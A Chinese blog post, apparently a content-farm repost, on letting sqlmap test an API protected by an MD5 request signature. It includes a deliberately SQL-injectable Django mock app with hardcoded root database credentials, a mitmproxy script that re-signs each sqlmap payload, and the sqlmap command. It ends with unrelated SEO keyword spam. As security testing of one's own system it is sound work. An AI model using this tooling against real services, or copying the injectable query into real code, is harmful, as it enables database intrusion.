千家信息网

sqlmap处理sign加密的思路

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,小编今天带大家了解sqlmap处理sign加密的思路,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入
千家信息网最后更新 2026年10月31日sqlmap处理sign加密的思路

小编今天带大家了解sqlmap处理sign加密的思路,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习"sqlmap处理sign加密的思路"的知识吧。

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。

注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。

首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。

views.pyfrom django.shortcuts import renderfrom django.http import JsonResponse# Create your views here.import hashlibimport MySQLdbimport urllibfrom django.views.decorators.csrf import csrf_exempt@csrf_exemptdef index(request):    id = request.POST.get("id")    token = request.POST.get("token")    str = urllib.quote(id+"test")    print(str)    hl = hashlib.md5()    hl.update(str)    token1 = hl.hexdigest()    print token1    if token == token1:        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')        cursor = db.cursor()        cursor.execute("select * from t_userinfo where id="+id)        data = cursor.fetchone()        print "Database version : %s " % data        db.close()        return JsonResponse({"msg":"verity ok"})    else:        return JsonResponse({"msg":"verity error."})models.pyclass userinfo(models.Model):    name = models.CharField(max_length=100)    age = models.CharField(max_length=100)

使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。

使用SQLMAP进行测试,发现无法测试。
于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。

如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。

from mitmproxy.proxy.server import ProxyServerfrom mitmproxy import flow,  controllerfrom mitmproxy import flow, proxy, controller, optionsimport hashlibimport redef md5cr(str):    hl = hashlib.md5()    hl.update(str.encode(encoding='utf-8'))    return hl.hexdigest()class WSProxy(flow.FlowMaster):    def __init__(self, opts, server, state, unsave_data):        super(WSProxy, self).__init__(opts, server, state)        self.unsave_data = unsave_data    def run(self):        try:            print("start")            flow.FlowMaster.run(self)        except KeyboardInterrupt:            self.shutdown()    @controller.handler    def request(self, f):        wsproxy_request_handle(f)    @controller.handler    def response(self, f):        wsproxy_response_handle(f)        # parser = ResponseParser(f)        # insert_result(parser.parser_data())def wsproxy_request_handle(flow):    """wyproxy send data to server before processing"""    try:        data = flow.request.content.split("&")        t = ""        for i in data:            if i.split("=")[0] != "token":                t = t+i.split("=")[1]        str = t+"test"        sign = md5cr(str)        print(str)        data1 = re.match("(.*?)token=",flow.request.content).group()        flow.request.content = data1+sign        print(flow.request.content)    except IndexError:        passdef wsproxy_response_handle(flow):    passport = 8888  #mode = 'regular'  #mode=regularopts = options.Options(        listen_port=int(port),        mode=mode,        cadir="./ssl/",)unsave_data = Falseconfig = proxy.ProxyConfig(opts)state = flow.State()server = ProxyServer(config)m = WSProxy(opts, server, state, unsave_data)m.run()

运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。

python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。


感谢大家的阅读,以上就是"sqlmap处理sign加密的思路"的全部内容了,学会的朋友赶紧操作起来吧。相信小编一定会给大家带来更优质的文章。谢谢大家对网站的支持!

加密 内容 数据 处理 过程 参数 脚本 测试 验证 思路 公司 字符 朋友 流程 代理 函数 文章 知识 系统 跟着 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广州淘业互联网络科技 湖南永感互联网科技有限公司 金融科技还是互联网 深圳科技互联网 猪兼强互联网科技 狮子座互联网科技 壕鑫互联网络科技 互联网科技logo 上海亿帐通互联网科技 深圳前海聚择互联网科技有限公司 中国的互联网科技企业的崛起 科技赋能视角下互联网保险发展 中科明德北京互联网科技 上海创道互联网络科技有限公司 工业互联网科技成果转化 广东鹅鹅鹅互联网科技有限公司 西安左小互联网科技有限公司 互联网科技职业技能培训学校 科技互联网公司两年变化 互联网科技对化妆品行业 广东猪兼强互联网科技有限公司 港股互联网科技股 美国互联网黑科技 深圳卡尔迅互联网科技有限公司怎么样 福州新华互联网科技学校 知乎 重庆威客帮互联网科技 厦门比较好的科技互联网公司 为客找房互联网科技公司怎么样 启辰互联网科技 新氧科技和美国互联网有关系吗
0